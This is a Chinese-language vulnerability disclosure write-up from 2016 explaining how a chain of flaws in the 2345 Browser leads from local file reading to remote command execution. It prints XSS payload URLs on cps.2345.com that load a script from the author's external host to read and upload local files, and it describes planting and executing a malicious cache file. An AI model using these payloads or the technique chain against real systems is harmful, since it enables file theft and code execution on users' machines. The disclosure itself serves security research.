本文屬于瀏覽器安全系列第一篇,目錄如下

  1. 2345瀏覽器本地文件讀取及遠程命令執行
  2. 百度瀏覽器遠程命令執行
  3. 搜狗瀏覽器從UXSS到遠程命令執行
  4. Fancy3D引擎(YY瀏覽器)遠程命令執行

原文鏈接:http://zhchbin.github.io/2016/07/23/2345-Browser-RCE/

作者:zhchbin

案例鏈接:http://wooyun.org/bugs/wooyun-2016-0204520

背景知識

0x00 chrome-devtools本地文件讀取漏洞

在 http://www.wooyun.org/bugs/wooyun-2010-0176314 中使用到了一個chrome-devtools的一個本地文件讀取的漏洞(只有特定幾個版本有這個問題,現在已經修復),訪問URL

chrome-devtools://devtools/bundled/inspector.html?remoteBase=http://xxx.com/&remoteFrontend=true

就會加載并執行xxx.com下的screencast_module.js,在這個js中,有權限使用DevToolsAPI,利用向外出容器發送類型為loadNetworkResource的消息可以讀取到本地文件內容。我寫了一個flask程序進行驗證,見測試代碼。 在C盤新建一個111.txt并寫入內容,運行服務器之后,在2345瀏覽器打開chrome-devtools://devtools/bundled/inspector.html?remoteBase=http://127.0.0.1/file/&remoteFrontend=true。本地測試截圖:

0x01 WebKit系瀏覽器偽協議調用

在 http://www.wooyun.org/bugs/wooyun-2010-0175902 中,可以通過location.href="vbefile:/../../../已知路徑/1.js"來執行本地文件1.js

一步一步構造PoC

0x00 首先我們來思考如何實現讀取本地文件

要讓用戶自己主動打開:chrome-devtools://devtools/bundled/inspector.html?remoteBase=http://x.xx.com/file/&remoteFrontend=true貌似不太可能,如@gainover提到的,location.href,window.open進行跳轉都是會因為安全問題而被瀏覽器限制,比如:提示Not allowed to load local resource,或打開頁面是空白等措施。

0x01 國產瀏覽器的毛病

在很多基于Chromium進行開發的國產瀏覽器中,廠商都會加入一些自己定制的API來實現一些特定的功能。在2345瀏覽器中,我發現一個API:chrome.ntp2345.prepareThumbnail,根據名字猜測,這個API應該是用于獲取指定URL的HTML頁面的截圖,也就是說會先訪問頁面,然后渲染生成縮略圖。(因為之前在一個開源項目中實現過類似功能,所以看到這個比較敏感)。進行了嘗試之后,發現果然可以執行,并且服務端接收到了發送上來的文件內容,完美地繞過了安全限制!

chrome.ntp2345.prepareThumbnail('chrome-devtools://devtools/bundled/inspector.html?remoteBase=http://127.0.0.1/file/&remoteFrontend=true')

0x02 XSS來幫忙

發現上面的API之后,我里面寫了一個頁面進行測試,發現還是有一定的限制,那就是這個API在非2345.com及其子域名下執行的話,會直接返回2并且不會訪問制定的URL。怎么辦?我們來找個XSS不就繞過了?這里有點幸運,我Google了一下site:2345.com inurl:url就找到了一個使用js進行url跳轉的XSS,原理類似于@phith0n的http://wooyun.org/bugs/wooyun-2016-0179329 ,不受chrome限制的XSSAuditor一個反射型XSS。

http://cps.2345.com/go/?bid=2014060633&company_id=33&url=javascript:alert(document.domain);//

0x03 本地文件讀取PoC

服務端代碼:https://gist.github.com/zhchbin/c4f7de8faf8a7cfa6c0f00191277df98#file-2345_poc-py-L199-L240

用戶點擊一下URL,C盤下的111.txt文件內容就被上傳到了服務器上,

http://cps.2345.com/go/?bid=2014060633&company_id=33&url=javascript:s=document.createElement(%27script%27);s.src=%27//a.zhchbin.xyz/file/xss.js%27;document.body.appendChild(s);//

過程總結:cps.2345.com域名下的XSS,加載/file/xss.js,執行chrome.ntp2345.prepareThumbnail(url)訪問chrome-devtools:頁面,讀取本地文件并上傳。

0x04 我們來實現遠程命令執行

原理:(1)上述的chrome-devtools本地文件讀取漏洞不僅能讀取文件,還能讀取文件列表!(2)我們可以通過瀏覽器的cache機制,寫入我們指定的內容到瀏覽器的cache目錄中(3)可以利用WebKit系瀏覽器偽協議調用執行cache文件。

2345瀏覽器的默認cache目錄在:C:\Users\%USERNAME%\AppData\Local\2345Explorer\User Data\Default\Cache。要執行這個目錄下的cache文件,我們要解決兩個問題,首先是找出當前系統的用戶名,第二是定位到我們的惡意cache文件。第一個問題,我們可以通過讀取C:\Users這個目錄下的文件列表,得到用戶列表。然后針對每個用戶,執行以下的操作來定位惡意cache文件:獲取cache目錄下的文件列表,保存在localStorage中,然后利用插入img的方式寫入惡意cache文件,完成后再獲取一次cache目錄下的文件列表,找出第二次集合中新增加的文件,上傳到服務器中,前端跳轉到執行頁面,指定iframe的src為vbefile:/../../../../../../../../Users/xxx/AppData/Local/2345Explorer/User Data/Default/Cache/f_xxxx,從而達到命令執行的效果。

服務端代碼:https://gist.github.com/zhchbin/c4f7de8faf8a7cfa6c0f00191277df98#file-2345_poc-py-L9-L196 用戶點擊:

http://cps.2345.com/go/?bid=2014060633&company_id=33&url=javascript:s=document.createElement(%27script%27);s.src=%27//a.zhchbin.xyz/xss.js%27;document.body.appendChild(s);//

測試說明:因為請求有時序依賴,所以里面用了5000毫秒的等待時間,來確保順序的正確性。測試時可以在修改一下里面的域名變成本地的地址,然后運行。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/72/